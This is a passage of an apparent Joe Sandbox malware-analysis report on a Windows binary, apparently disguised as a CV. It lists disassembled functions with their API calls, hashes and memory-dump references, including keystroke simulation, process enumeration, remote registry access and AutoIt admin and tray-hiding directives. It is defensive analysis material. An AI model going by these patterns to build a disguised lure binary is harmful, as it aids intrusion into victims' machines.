                                                                  • API String ID: 4082843840-2766056989
                                                                  • Opcode ID: 0616ad34caf5745379bf3039d68d7c97a179f57c6881a4c6920a9ffa1daf13ea
                                                                  • Instruction ID: ffccdfa07d9570a9c48d4ec28863429800102409fc243075984a96582b1d125e
                                                                  • Opcode Fuzzy Hash: 0616ad34caf5745379bf3039d68d7c97a179f57c6881a4c6920a9ffa1daf13ea
                                                                  • Instruction Fuzzy Hash: 7D716174A00619DFCF05EF94D4959ADBBF5FF48310F108499E85AAB361DB34AD40CB94
                                                                  Function 00B8E062 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00B8E1D5
                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B8E20D
                                                                  • IsDlgButtonChecked.USER32(?,00000001), ref: 00B8E248
                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 00B8E269
                                                                  • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00B8E281
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$ButtonCheckedLongWindow
                                                                  • String ID: @U=u
                                                                  • API String ID: 3188977179-2594219639
                                                                  • Opcode ID: 8ad8886ca517d42bdf9c6d8588a6359a69f7336a1e8ff23705ae15c981212b6a
                                                                  • Instruction ID: 294564d5edc77bcdbcb15ad3cf730500ff7ab8814faead74f78751843c08c8d2
                                                                  • Opcode Fuzzy Hash: 8ad8886ca517d42bdf9c6d8588a6359a69f7336a1e8ff23705ae15c981212b6a
                                                                  • Instruction Fuzzy Hash: F2617135A04244AFDB25EF58C895FAA77FAEF89300F1444D9F969A72B1C771E940CB10
                                                                  Function 00B63DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetParent.USER32(?), ref: 00B63DE7
                                                                  • GetKeyboardState.USER32(?), ref: 00B63DFC
                                                                  • SetKeyboardState.USER32(?), ref: 00B63E5D
                                                                  • PostMessageW.USER32(?,00000101,00000010,?), ref: 00B63E8B
                                                                  • PostMessageW.USER32(?,00000101,00000011,?), ref: 00B63EAA
                                                                  • PostMessageW.USER32(?,00000101,00000012,?), ref: 00B63EF0
                                                                  • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B63F13
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessagePost$KeyboardState$Parent
                                                                  • String ID:
                                                                  • API String ID: 87235514-0
                                                                  • Opcode ID: ef0676ea90cf2df9bef0ff009d956cf58405619f0800ad4a70931198e42bd1db
                                                                  • Instruction ID: a87a3a881551d03eff48527c7017f191aee392ded19f1206ff155ea360ff3356
                                                                  • Opcode Fuzzy Hash: ef0676ea90cf2df9bef0ff009d956cf58405619f0800ad4a70931198e42bd1db
                                                                  • Instruction Fuzzy Hash: 3651D1A0A047D53DFB3643248C46BBA7EE99B06B04F0885D9E0D9568C2D7ADAEC4D760
                                                                  Function 00B63BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetParent.USER32(00000000), ref: 00B63C02
                                                                  • GetKeyboardState.USER32(?), ref: 00B63C17
                                                                  • SetKeyboardState.USER32(?), ref: 00B63C78
                                                                  • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B63CA4
                                                                  • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B63CC1
                                                                  • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B63D05
                                                                  • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B63D26
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessagePost$KeyboardState$Parent
                                                                  • String ID:
                                                                  • API String ID: 87235514-0
                                                                  • Opcode ID: 8192ef1157ba95bc256f535bc309b0f5260bc3716f3ba25d7b3730135137560b
                                                                  • Instruction ID: 0c5cf88137ec330329b0cbc1f7e52685efd855307008bee60f6ee94b8aecf6ba
                                                                  • Opcode Fuzzy Hash: 8192ef1157ba95bc256f535bc309b0f5260bc3716f3ba25d7b3730135137560b
                                                                  • Instruction Fuzzy Hash: 8951E4A09047D53DFB3287248C56BB6BEE9EB06B00F0C84D8F1D5568C2D799EE94D760
                                                                  Function 00B67DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcsncpy$LocalTime
                                                                  • String ID:
                                                                  • API String ID: 2945705084-0
                                                                  • Opcode ID: 042fbd2f252591f45fc983a08287fef7a5d9978fb61176ba06c92cba34f2a688
                                                                  • Instruction ID: 500c7fe08ce5845ed825a0e8f3324a63cda8355fbf233cba738487a26832b3bd
                                                                  • Opcode Fuzzy Hash: 042fbd2f252591f45fc983a08287fef7a5d9978fb61176ba06c92cba34f2a688
                                                                  • Instruction Fuzzy Hash: 57415E66C10214BADB10ABF488869CFB3ECEF45710F5089E6E514E3122EA34E75497A9
                                                                  Function 00B8CCF7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID: @U=u
                                                                  • API String ID: 0-2594219639
                                                                  • Opcode ID: 43e3ccfdc1320ad1488b5f35fddcabd840d1e60ba948ccfdff97b7ab6f481c84
                                                                  • Instruction ID: e7f4ed76794e7faba2dc8d14d78c623d592505d81bbc1e70122d9dfe8ed39d1e
                                                                  • Opcode Fuzzy Hash: 43e3ccfdc1320ad1488b5f35fddcabd840d1e60ba948ccfdff97b7ab6f481c84
                                                                  • Instruction Fuzzy Hash: 564171B9900154AFD710FF68CC85FA9BFE8EB09310F1506B5E95AA72F1CA70AD41DB60
                                                                  Function 00B608AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B608F2
                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B60918
                                                                  • SysAllocString.OLEAUT32(00000000), ref: 00B6091B
                                                                  • SysAllocString.OLEAUT32(?), ref: 00B60939
                                                                  • SysFreeString.OLEAUT32(?), ref: 00B60942
                                                                  • StringFromGUID2.OLE32(?,?,00000028), ref: 00B60967
                                                                  • SysAllocString.OLEAUT32(?), ref: 00B60975
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                  • String ID:
                                                                  • API String ID: 3761583154-0
                                                                  • Opcode ID: 9b05433b75a37bc2a76c29a8105f0213737adb31166cbbf3ce33ff94e0fff266
                                                                  • Instruction ID: 1d8eadad823de6a1f0aeefec128e166fbfa00149045e0060cb00d89a1d3ba8d9
                                                                  • Opcode Fuzzy Hash: 9b05433b75a37bc2a76c29a8105f0213737adb31166cbbf3ce33ff94e0fff266
                                                                  • Instruction Fuzzy Hash: F821C772601209AFAB10AF7DCC89DBB73ECEB09360B408165F905DB291DA74EC41CB60
                                                                  Function 00B5B80A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 93windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B5B88E
                                                                  • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B5B8A1
                                                                  • SendMessageW.USER32(?,00000189,?,00000000), ref: 00B5B8D1
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 3850602802-2258501812
                                                                  • Opcode ID: 141f6c9f628fbaa5e6525b222bf1afe3856b7a259a84e926abcbd001b2d64aff
                                                                  • Instruction ID: 1e3fb88bb5201033c9693b67116f2607be3f16d373927c9bf022d1108e559ae1
                                                                  • Opcode Fuzzy Hash: 141f6c9f628fbaa5e6525b222bf1afe3856b7a259a84e926abcbd001b2d64aff
                                                                  • Instruction Fuzzy Hash: 1921F371900108BFDB14AB64D886EFE7BFCDF16351B1052E9F826A71E0DB745D0A9760
                                                                  Function 00B62472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __wcsnicmp
                                                                  • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                  • API String ID: 1038674560-2734436370
                                                                  • Opcode ID: c1416c91ca8fd404ecb71c6165a8b826c2639fecdc5282c934596dafce1972cc
                                                                  • Instruction ID: da48b8b5a4225701d453d989c19d290ee7bcbb4067feb59b05c6bbfbd73f146f
                                                                  • Opcode Fuzzy Hash: c1416c91ca8fd404ecb71c6165a8b826c2639fecdc5282c934596dafce1972cc
                                                                  • Instruction Fuzzy Hash: F4217C32544A1167E330A7349C53EBB73D8EF75300F2044A9F64797141EA5D9A42C395
                                                                  Function 00B60986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B609CB
                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B609F1
                                                                  • SysAllocString.OLEAUT32(00000000), ref: 00B609F4
                                                                  • SysAllocString.OLEAUT32 ref: 00B60A15
                                                                  • SysFreeString.OLEAUT32 ref: 00B60A1E
                                                                  • StringFromGUID2.OLE32(?,?,00000028), ref: 00B60A38
                                                                  • SysAllocString.OLEAUT32(?), ref: 00B60A46
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                  • String ID:
                                                                  • API String ID: 3761583154-0
                                                                  • Opcode ID: 334966a1d4855549674b7e270b5a7ab9ee58d5ae225e86df7b5ec25553b065da
                                                                  • Instruction ID: d4d1ed14c7e85e89ea8c3a630017cb124431d23b39e8200a141b93f8e5393df9
                                                                  • Opcode Fuzzy Hash: 334966a1d4855549674b7e270b5a7ab9ee58d5ae225e86df7b5ec25553b065da
                                                                  • Instruction Fuzzy Hash: EC217476614204AFDB10EFEDDC89DAB77ECEF093607008165F909CB2A1EA74EC418B64
                                                                  Function 00B5DBBF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • IsWindowVisible.USER32(?), ref: 00B5DBD7
                                                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B5DBF4
                                                                  • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B5DC2C
                                                                  • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B5DC52
                                                                  • _wcsstr.LIBCMT ref: 00B5DC5C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                                  • String ID: @U=u
                                                                  • API String ID: 3902887630-2594219639
                                                                  • Opcode ID: b2fed25b6baf28b068b32f3be9f82a81a3b4000e0e34ae794b09f8140c56146c
                                                                  • Instruction ID: 863ebdcf3714441f1e302744726c75135571c44bc99da1baa3c64a6512e27d03
                                                                  • Opcode Fuzzy Hash: b2fed25b6baf28b068b32f3be9f82a81a3b4000e0e34ae794b09f8140c56146c
                                                                  • Instruction Fuzzy Hash: E021F272604200BBEB259B299C49F7F7BE8DF46751F1041E9FC0ACA191EEA1C845D2A0
                                                                  Function 00B5BC77 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B5BC90
                                                                  • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B5BCC2
                                                                  • __itow.LIBCMT ref: 00B5BCDA
                                                                  • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B5BD00
                                                                  • __itow.LIBCMT ref: 00B5BD11
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$__itow
                                                                  • String ID: @U=u
                                                                  • API String ID: 3379773720-2594219639
                                                                  • Opcode ID: e87cd27cf0fabca7d36ae839a27540b1c3300fd943dc4da991ca67121f5deed7
                                                                  • Instruction ID: 1559cbbfcc1d538f2acbab24c6bfcf50584533b91bb1ae4d1edaed0ad59ae189
                                                                  • Opcode Fuzzy Hash: e87cd27cf0fabca7d36ae839a27540b1c3300fd943dc4da991ca67121f5deed7
                                                                  • Instruction Fuzzy Hash: F121A7356002186ADB10AB699C46FDE7AE8EF5A711F0014F5FD05EB181EBB0894987A1
                                                                  Function 00B8A2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B3D1BA
                                                                    • Part of subcall function 00B3D17C: GetStockObject.GDI32(00000011), ref: 00B3D1CE
                                                                    • Part of subcall function 00B3D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B3D1D8
                                                                  • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00B8A32D
                                                                  • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00B8A33A
                                                                  • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00B8A345
                                                                  • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00B8A354
                                                                  • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00B8A360
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$CreateObjectStockWindow
                                                                  • String ID: Msctls_Progress32
                                                                  • API String ID: 1025951953-3636473452
                                                                  • Opcode ID: d71aae094e13bb83bafdf0c2328abc4f1e8683d97d3eff7f6f6f3c43abea8e52
                                                                  • Instruction ID: 0e92aad0ffb44475b2efcbbc2f3c0395655d58768415a6ec2fadafb9ab4f5b83
                                                                  • Opcode Fuzzy Hash: d71aae094e13bb83bafdf0c2328abc4f1e8683d97d3eff7f6f6f3c43abea8e52
                                                                  • Instruction Fuzzy Hash: 171163B1150119BFEF155F64CC85EEB7FADFF09798F014115BA04A6060C7729C21DBA4
                                                                  Function 00B3CCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetClientRect.USER32(?,?), ref: 00B3CCF6
                                                                  • GetWindowRect.USER32(?,?), ref: 00B3CD37
                                                                  • ScreenToClient.USER32(?,?), ref: 00B3CD5F
                                                                  • GetClientRect.USER32(?,?), ref: 00B3CE8C
                                                                  • GetWindowRect.USER32(?,?), ref: 00B3CEA5
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Rect$Client$Window$Screen
                                                                  • String ID:
                                                                  • API String ID: 1296646539-0
                                                                  • Opcode ID: 73ca7793173f2c35888ad19c69418dd1fb33a210203a7540b5323904d8d3d577
                                                                  • Instruction ID: 5e6553d03941ae17eed74be1a1a659b6152ca824455e82e475818cffc99a2795
                                                                  • Opcode Fuzzy Hash: 73ca7793173f2c35888ad19c69418dd1fb33a210203a7540b5323904d8d3d577
                                                                  • Instruction Fuzzy Hash: 2CB13879900249DBDF10CFA8C5817EEBBF1FF08350F2495A9EC69AB254DB30A950DB64
                                                                  Function 00B81BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateToolhelp32Snapshot.KERNEL32 ref: 00B81C18
                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00B81C26
                                                                  • __wsplitpath.LIBCMT ref: 00B81C54
                                                                    • Part of subcall function 00B41DFC: __wsplitpath_helper.LIBCMT ref: 00B41E3C
                                                                  • _wcscat.LIBCMT ref: 00B81C69
                                                                  • Process32NextW.KERNEL32(00000000,?), ref: 00B81CDF
                                                                  • CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00B81CF1
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
                                                                  • String ID:
                                                                  • API String ID: 1380811348-0
                                                                  • Opcode ID: 9eb6bb09990416b5105970b65b0dde0591a6c5327fdaef7c572e7abd5539a069
                                                                  • Instruction ID: d1e8d3f38e215b4b6b277a16a3b8e1b2505e238315e7a3f865a3f5ac5263e9af
                                                                  • Opcode Fuzzy Hash: 9eb6bb09990416b5105970b65b0dde0591a6c5327fdaef7c572e7abd5539a069
                                                                  • Instruction Fuzzy Hash: 8E517F715043409FD720EF24D886EABBBECEF88754F10496EF58A97251EB70DA05CB92
                                                                  Function 00B82FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B83C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B82BB5,?,?), ref: 00B83C1D
                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B830AF
                                                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B830EF
                                                                  • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00B83112
                                                                  • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00B8313B
                                                                  • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B8317E
                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00B8318B
                                                                  Memory Dump Source
